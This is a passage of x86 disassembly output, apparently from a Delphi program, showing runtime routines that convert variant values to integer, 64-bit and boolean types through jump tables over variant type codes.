--------------------------------------------------------------------------- loc_4000F56E: ; CODE XREF: sub_4000F510+20j ; DATA XREF: sub_4000F510:off_4000F54Bo cmp byte_4001AA10, 0 ; jumptable 4000F530 case 1 jz short loc_4000F584 mov dx, 13h mov ax, 1 call sub_4000DBF4 loc_4000F584: ; CODE XREF: sub_4000F510+65j xor ebx, ebx jmp short loc_4000F5F1 ; --------------------------------------------------------------------------- loc_4000F588: ; CODE XREF: sub_4000F510+20j ; DATA XREF: sub_4000F510:off_4000F54Bo mov ebx, [ebp+var_4] ; jumptable 4000F530 case 11 movsx ebx, word ptr [ebx+8] jmp short loc_4000F5F1 ; --------------------------------------------------------------------------- loc_4000F591: ; CODE XREF: sub_4000F510+20j ; DATA XREF: sub_4000F510:off_4000F54Bo mov ebx, [ebp+var_4] ; jumptable 4000F530 case 17 movzx ebx, byte ptr [ebx+8] jmp short loc_4000F5F1 ; --------------------------------------------------------------------------- loc_4000F59A: ; CODE XREF: sub_4000F510+20j ; DATA XREF: sub_4000F510:off_4000F54Bo mov ebx, [ebp+var_4] ; jumptable 4000F530 case 18 movzx ebx, word ptr [ebx+8] jmp short loc_4000F5F1 ; --------------------------------------------------------------------------- loc_4000F5A3: ; CODE XREF: sub_4000F510+20j ; DATA XREF: sub_4000F510:off_4000F54Bo mov ebx, [ebp+var_4] ; jumptable 4000F530 case 19 mov ebx, [ebx+8] jmp short loc_4000F5F1 ; --------------------------------------------------------------------------- loc_4000F5AB: ; CODE XREF: sub_4000F510+13j ; sub_4000F510+20j ; DATA XREF: ... xor eax, eax ; default ; jumptable 4000F530 cases 2-10,12-16 push ebp push offset loc_4000F5D6 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_4000F860 test edx, edx jz short loc_4000F5CA call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F5CA: ; CODE XREF: sub_4000F510+B3j mov ebx, eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000F5F1 ; --------------------------------------------------------------------------- loc_4000F5D6: ; DATA XREF: sub_4000F510+9Eo jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 13h call sub_4000E068 xor ebx, ebx call sub_40004360 loc_4000F5F1: ; CODE XREF: sub_4000F510+59j ; sub_4000F510+76j ... mov eax, ebx pop edi pop esi pop ebx pop ecx pop ebp retn sub_4000F510 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000F5FC proc near ; CODE XREF: sub_4000F860+1E7p ; sub_4000F860+3D8p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = qword ptr -0Ch push ebx add esp, 0FFFFFFE8h mov ebx, eax lea eax, [esp+1Ch+var_14] push eax call sub_4000CDD8 push 3 push 0 push 400h push ebx lea eax, [esp+2Ch+var_14] push eax mov eax, off_4001B064 mov eax, [eax] call eax test eax, eax jnz short loc_4000F636 mov eax, dword ptr [esp+1Ch+var_C] cdq mov [esp+1Ch+var_1C], eax mov [esp+1Ch+var_18], edx jmp short loc_4000F69B ; --------------------------------------------------------------------------- loc_4000F636: ; CODE XREF: sub_4000F5FC+2Aj push 5 push 0 push 400h push ebx lea eax, [esp+2Ch+var_14] push eax mov eax, off_4001B064 mov eax, [eax] call eax test eax, eax jnz short loc_4000F664 fld [esp+1Ch+var_C] call sub_400030A8 mov [esp+1Ch+var_1C], eax mov [esp+1Ch+var_18], edx jmp short loc_4000F69B ; --------------------------------------------------------------------------- loc_4000F664: ; CODE XREF: sub_4000F5FC+54j cmp eax, 80020005h jnz short loc_4000F680 mov eax, ebx call sub_4000FE58 and eax, 7Fh xor edx, edx mov [esp+1Ch+var_1C], eax mov [esp+1Ch+var_18], edx jmp short loc_4000F69B ; --------------------------------------------------------------------------- loc_4000F680: ; CODE XREF: sub_4000F5FC+6Dj movzx edx, word ptr [ebx] mov cx, 14h call sub_4000E034 mov [esp+1Ch+var_1C], 0 mov [esp+1Ch+var_18], 0 loc_4000F69B: ; CODE XREF: sub_4000F5FC+38j ; sub_4000F5FC+66j ... mov eax, [esp+1Ch+var_1C] mov edx, [esp+1Ch+var_18] add esp, 18h pop ebx retn sub_4000F5FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F6A8 proc near ; CODE XREF: sub_4000F860+149p ; sub_4000F860+20Dp ... var_24 = dword ptr -24h var_20 = qword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFDCh push ebx xor edx, edx mov [ebp+var_24], edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_4000F796 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_4] call sub_40011DFC lea eax, [ebp+var_24] mov edx, [ebp+var_4] call sub_40004B0C mov eax, [ebp+var_24] lea edx, [ebp+var_10] call sub_40007E0C test al, al jnz loc_4000F778 lea eax, [ebp+var_14] push eax push 0 push 400h mov eax, [ebp+var_4] push eax mov eax, off_4001B0B0 mov eax, [eax] call eax test eax, eax jnz short loc_4000F717 mov eax, [ebp+var_14] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000F778 ; --------------------------------------------------------------------------- loc_4000F717: ; CODE XREF: sub_4000F6A8+61j lea eax, [ebp+var_20] push eax push 0 push 400h mov eax, [ebp+var_4] push eax mov eax, off_4001AFF0 mov eax, [eax] call eax test eax, eax jnz short loc_4000F743 fld [ebp+var_20] call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000F778 ; --------------------------------------------------------------------------- loc_4000F743: ; CODE XREF: sub_4000F6A8+89j cmp eax, 80020005h jnz short loc_4000F75E mov eax, ebx call sub_4000FE58 and eax, 7Fh xor edx, edx mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000F778 ; --------------------------------------------------------------------------- loc_4000F75E: ; CODE XREF: sub_4000F6A8+A0j movzx edx, word ptr [ebx] mov cx, 14h call sub_4000E034 mov [ebp+var_10], 0 mov [ebp+var_C], 0 loc_4000F778: ; CODE XREF: sub_4000F6A8+41j ; sub_4000F6A8+6Dj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000F79D loc_4000F785: ; CODE XREF: sub_4000F6A8+F3j lea eax, [ebp+var_24] call sub_40004884 lea eax, [ebp+var_4] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_4000F796: ; DATA XREF: sub_4000F6A8+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000F785 ; --------------------------------------------------------------------------- loc_4000F79D: ; CODE XREF: sub_4000F6A8+EDj ; DATA XREF: sub_4000F6A8+D8o mov eax, [ebp+var_10] mov edx, [ebp+var_C] pop ebx mov esp, ebp pop ebp retn sub_4000F6A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F7A8 proc near ; CODE XREF: sub_4000F860+220p var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov ebx, eax lea eax, [ebp+var_18] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_4000F7FF push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_18] call sub_4000E700 lea eax, [ebp+var_18] call ds:off_4001F29C lea eax, [ebp+var_18] call sub_4000F860 mov [ebp+var_8], eax mov [ebp+var_4], edx xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000F806 loc_4000F7F6: ; CODE XREF: sub_4000F7A8+5Cj lea eax, [ebp+var_18] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_4000F7FF: ; DATA XREF: sub_4000F7A8+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000F7F6 ; --------------------------------------------------------------------------- loc_4000F806: ; CODE XREF: sub_4000F7A8+56j ; DATA XREF: sub_4000F7A8+49o mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop ebx mov esp, ebp pop ebp retn sub_4000F7A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000F814 proc near ; CODE XREF: sub_4000F860+3EBp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, edx mov esi, eax mov edx, esp movzx eax, word ptr [esi] call sub_40012D98 mov ebx, eax test bl, bl jz short loc_4000F856 lea eax, [esp+20h+var_1C] push eax call sub_4000CDD8 push 14h mov ecx, esi lea edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] mov esi, [eax] call dword ptr [esi+1Ch] mov eax, [esp+20h+var_14] mov [edi], eax mov eax, [esp+20h+var_10] mov [edi+4], eax loc_4000F856: ; CODE XREF: sub_4000F814+18j mov eax, ebx add esp, 14h pop edi pop esi pop ebx retn sub_4000F814 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F860 proc near ; CODE XREF: sub_4000E9CC+1D2p ; sub_4000F510+ACp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi push edi mov [ebp+var_4], eax xor edx, edx push ebp push offset loc_4000FC6C push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] movzx eax, word ptr [eax] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_4000FA57 ; default ; jumptable 4000F88C cases 10,14,15 jmp ds:off_4000F893[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_4000F893 dd offset loc_4000F8E7 ; DATA XREF: sub_4000F860+2Cr dd offset loc_4000F8FA ; jump table for switch statement dd offset loc_4000F923 dd offset loc_4000F936 dd offset loc_4000F948 dd offset loc_4000F95E dd offset loc_4000F974 dd offset loc_4000F990 dd offset loc_4000F9A6 dd offset loc_4000FA44 dd offset loc_4000FA57 dd offset loc_4000F9B9 dd offset loc_4000FA2E dd offset loc_4000FA44 dd offset loc_4000FA57 dd offset loc_4000FA57 dd offset loc_4000F9CC dd offset loc_4000F9DF dd offset loc_4000F9F3 dd offset loc_4000FA07 dd offset loc_4000FA1A ; --------------------------------------------------------------------------- loc_4000F8E7: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov [ebp+var_10], 0 ; jumptable 4000F88C case 0 mov [ebp+var_C], 0 jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F8FA: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o cmp byte_4001AA10, 0 ; jumptable 4000F88C case 1 jz short loc_4000F910 mov dx, 14h mov ax, 1 call sub_4000DBF4 loc_4000F910: ; CODE XREF: sub_4000F860+A1j mov [ebp+var_10], 0 mov [ebp+var_C], 0 jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F923: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 2 movsx eax, word ptr [eax+8] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F936: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 3 mov eax, [eax+8] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F948: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 4 fld dword ptr [eax+8] call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F95E: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 5 fld qword ptr [eax+8] call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F974: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 6 fild qword ptr [eax+8] fdiv ds:flt_4000FCA0 call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F990: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 7 fld qword ptr [eax+8] call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F9A6: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 8 call sub_4000F6A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F9B9: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 11 movsx eax, word ptr [eax+8] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F9CC: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 16 movsx eax, byte ptr [eax+8] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F9DF: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 17 movzx eax, byte ptr [eax+8] xor edx, edx mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000F9F3: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 18 movzx eax, word ptr [eax+8] xor edx, edx mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FA07: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 19 mov eax, [eax+8] xor edx, edx mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FA1A: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 20 mov edx, [eax+8] mov [ebp+var_10], edx mov edx, [eax+0Ch] mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FA2E: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C case 12 mov eax, [eax+8] call sub_4000F860 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FA44: ; CODE XREF: sub_4000F860+2Cj ; DATA XREF: sub_4000F860:off_4000F893o mov eax, [ebp+var_4] ; jumptable 4000F88C cases 9,13 call sub_4000F5FC mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FA57: ; CODE XREF: sub_4000F860+26j ; sub_4000F860+2Cj ; DATA XREF: ... mov edx, [ebp+var_4] ; default ; jumptable 4000F88C cases 10,14,15 mov edx, eax sub dx, 100h jz short loc_4000FA6A dec dx jz short loc_4000FA7D jmp short loc_4000FA90 ; --------------------------------------------------------------------------- loc_4000FA6A: ; CODE XREF: sub_4000F860+201j mov eax, [ebp+var_4] call sub_4000F6A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FA7D: ; CODE XREF: sub_4000F860+206j mov eax, [ebp+var_4] call sub_4000F7A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FA90: ; CODE XREF: sub_4000F860+208j mov edx, [ebp+var_4] test ah, 40h jz loc_4000FC45 mov edx, [ebp+var_4] movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_4000FC35 ; default ; jumptable 4000FAB0 cases 0,1,9,10,13-15 jmp ds:off_4000FAB7[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_4000FAB7 dd offset loc_4000FC35 ; DATA XREF: sub_4000F860+250r dd offset loc_4000FC35 ; jump table for switch statement dd offset loc_4000FB0B dd offset loc_4000FB20 dd offset loc_4000FB34 dd offset loc_4000FB4C dd offset loc_4000FB64 dd offset loc_4000FB82 dd offset loc_4000FB9A dd offset loc_4000FC35 dd offset loc_4000FC35 dd offset loc_4000FBAD dd offset loc_4000FC22 dd offset loc_4000FC35 dd offset loc_4000FC35 dd offset loc_4000FC35 dd offset loc_4000FBC2 dd offset loc_4000FBD7 dd offset loc_4000FBEA dd offset loc_4000FBFD dd offset loc_4000FC0F ; --------------------------------------------------------------------------- loc_4000FB0B: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 2 mov eax, [eax+8] movsx eax, word ptr [eax] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FB20: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 3 mov eax, [eax+8] mov eax, [eax] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FB34: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 4 mov eax, [eax+8] fld dword ptr [eax] call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FB4C: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 5 mov eax, [eax+8] fld qword ptr [eax] call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FB64: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 6 mov eax, [eax+8] fild qword ptr [eax] fdiv ds:flt_4000FCA0 call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FB82: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 7 mov eax, [eax+8] fld qword ptr [eax] call sub_400030A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FB9A: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 8 call sub_4000F6A8 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FBAD: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 11 mov eax, [eax+8] movsx eax, word ptr [eax] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FBC2: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 16 mov eax, [eax+8] movsx eax, byte ptr [eax] cdq mov [ebp+var_10], eax mov [ebp+var_C], edx jmp loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FBD7: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 17 mov eax, [eax+8] movzx eax, byte ptr [eax] xor edx, edx mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FBEA: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 18 mov eax, [eax+8] movzx eax, word ptr [eax] xor edx, edx mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FBFD: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 19 mov eax, [eax+8] mov eax, [eax] xor edx, edx mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FC0F: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 20 mov eax, [eax+8] mov edx, [eax] mov [ebp+var_10], edx mov edx, [eax+4] mov [ebp+var_C], edx jmp short loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FC22: ; CODE XREF: sub_4000F860+250j ; DATA XREF: sub_4000F860:off_4000FAB7o mov eax, [ebp+var_4] ; jumptable 4000FAB0 case 12 mov eax, [eax+8] call sub_4000F860 mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FC35: ; CODE XREF: sub_4000F860+24Aj ; sub_4000F860+250j ; DATA XREF: ... mov eax, [ebp+var_4] ; default ; jumptable 4000FAB0 cases 0,1,9,10,13-15 call sub_4000F5FC mov [ebp+var_10], eax mov [ebp+var_C], edx jmp short loc_4000FC62 ; --------------------------------------------------------------------------- loc_4000FC45: ; CODE XREF: sub_4000F860+236j lea edx, [ebp+var_10] mov eax, [ebp+var_4] call sub_4000F814 test al, al jnz short loc_4000FC62 mov eax, [ebp+var_4] call sub_4000F5FC mov [ebp+var_10], eax mov [ebp+var_C], edx loc_4000FC62: ; CODE XREF: sub_4000F860+95j ; sub_4000F860+BEj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000FC93 ; --------------------------------------------------------------------------- loc_4000FC6C: ; DATA XREF: sub_4000F860+Fo jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 14h call sub_4000E068 mov [ebp+var_10], 0 mov [ebp+var_C], 0 call sub_40004360 loc_4000FC93: ; CODE XREF: sub_4000F860+40Aj mov eax, [ebp+var_10] mov edx, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000F860 endp ; --------------------------------------------------------------------------- flt_4000FCA0 dd 1.0e4 ; DATA XREF: sub_4000F860+11Ar ; sub_4000F860+30Cr ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000FCA4 proc near ; CODE XREF: sub_4000FE58+10Bp ; sub_4000FE58+1A3p ... var_C = dword ptr -0Ch var_8 = word ptr -8 var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push 0 push 0 push ebx mov ebx, eax xor eax, eax push ebp push offset loc_4000FD56 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_4] call sub_40011DFC lea eax, [ebp+var_8] push eax push 0 push 400h mov eax, [ebp+var_4] push eax mov eax, off_4001AFC0 mov eax, [eax] call eax mov edx, eax sub edx, 80020005h jz short loc_4000FCFF sub edx, 7FFDFFFBh jnz short loc_4000FD2C cmp [ebp+var_8], 1 sbb eax, eax inc eax mov [ebp+var_5], al jmp short loc_4000FD38 ; --------------------------------------------------------------------------- loc_4000FCFF: ; CODE XREF: sub_4000FCA4+44j lea eax, [ebp+var_C] mov edx, [ebp+var_4] call sub_40004B0C mov eax, [ebp+var_C] lea edx, [ebp+var_5] call sub_40007F40 test al, al jnz short loc_4000FD38 movzx edx, word ptr [ebx] mov cx, 0Bh mov eax, 80020005h call sub_4000E034 jmp short loc_4000FD38 ; --------------------------------------------------------------------------- loc_4000FD2C: ; CODE XREF: sub_4000FCA4+4Cj movzx edx, word ptr [ebx] mov cx, 0Bh call sub_4000E034 loc_4000FD38: ; CODE XREF: sub_4000FCA4+59j ; sub_4000FCA4+73j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000FD5D loc_4000FD45: ; CODE XREF: sub_4000FCA4+B7j lea eax, [ebp+var_C] call sub_40004884 lea eax, [ebp+var_4] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_4000FD56: ; DATA XREF: sub_4000FCA4+Fo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000FD45 ; --------------------------------------------------------------------------- loc_4000FD5D: ; CODE XREF: sub_4000FCA4+B1j ; DATA XREF: sub_4000FCA4+9Co movzx eax, [ebp+var_5] pop ebx mov esp, ebp pop ebp retn sub_4000FCA4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000FD68 proc near ; CODE XREF: sub_4000FE58+184p ; sub_4000FE58+325p ... var_14 = byte ptr -14h var_C = word ptr -0Ch push ebx add esp, 0FFFFFFF0h mov ebx, eax push esp call sub_4000CDD8 push 0Bh push 0 push 400h push ebx lea eax, [esp+24h+var_14] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 0Bh call sub_4000E034 cmp [esp+14h+var_C], 1 sbb eax, eax inc eax add esp, 10h pop ebx retn sub_4000FD68 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000FDA8 proc near ; CODE XREF: sub_4000FE58+1B2p var_11 = byte ptr -11h var_1 = byte ptr -1 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx mov ebx, eax lea eax, [ebp+var_11] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_4000FDFC push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_11] call sub_4000E700 lea eax, [ebp+var_11] call ds:off_4001F29C lea eax, [ebp+var_11] call sub_4000FE58 mov [ebp+var_1], al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000FE03 loc_4000FDF3: ; CODE XREF: sub_4000FDA8+59j lea eax, [ebp+var_11] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_4000FDFC: ; DATA XREF: sub_4000FDA8+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000FDF3 ; --------------------------------------------------------------------------- loc_4000FE03: ; CODE XREF: sub_4000FDA8+53j ; DATA XREF: sub_4000FDA8+46o movzx eax, [ebp+var_1] pop ebx mov esp, ebp pop ebp retn sub_4000FDA8 endp ; =============== S U B R O U T I N E ======================================= sub_4000FE0C proc near ; CODE XREF: sub_4000FE58+333p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = word ptr -14h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, edx mov esi, eax mov edx, esp movzx eax, word ptr [esi] call sub_40012D98 mov ebx, eax test bl, bl jz short loc_4000FE4C lea eax, [esp+20h+var_1C] push eax call sub_4000CDD8 push 0Bh mov ecx, esi lea edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] mov esi, [eax] call dword ptr [esi+1Ch] cmp [esp+20h+var_14], 1 sbb eax, eax inc eax mov [edi], al loc_4000FE4C: ; CODE XREF: sub_4000FE0C+18j mov eax, ebx add esp, 14h pop edi pop esi pop ebx retn sub_4000FE0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000FE58 proc near ; CODE XREF: sub_4000E9CC+172p ; sub_4000EBF8+6Cp ... var_8 = byte ptr -8 push ebx push ecx mov ebx, eax movzx eax, word ptr [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_4000FFE9 ; default ; jumptable 4000FE6B cases 10,14,15 jmp ds:off_4000FE72[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_4000FE72 dd offset loc_4000FEC6 ; DATA XREF: sub_4000FE58+13r dd offset loc_4000FECF ; jump table for switch statement dd offset loc_4000FEEE dd offset loc_4000FEFC dd offset loc_4000FF09 dd offset loc_4000FF1F dd offset loc_4000FF35 dd offset loc_4000FF4B dd offset loc_4000FF61 dd offset loc_4000FFDA dd offset loc_4000FFE9 dd offset loc_4000FF70 dd offset loc_4000FFCA dd offset loc_4000FFDA dd offset loc_4000FFE9 dd offset loc_4000FFE9 dd offset loc_4000FF80 dd offset loc_4000FF8D dd offset loc_4000FF9A dd offset loc_4000FFA8 dd offset loc_4000FFB5 ; --------------------------------------------------------------------------- loc_4000FEC6: ; CODE XREF: sub_4000FE58+13j 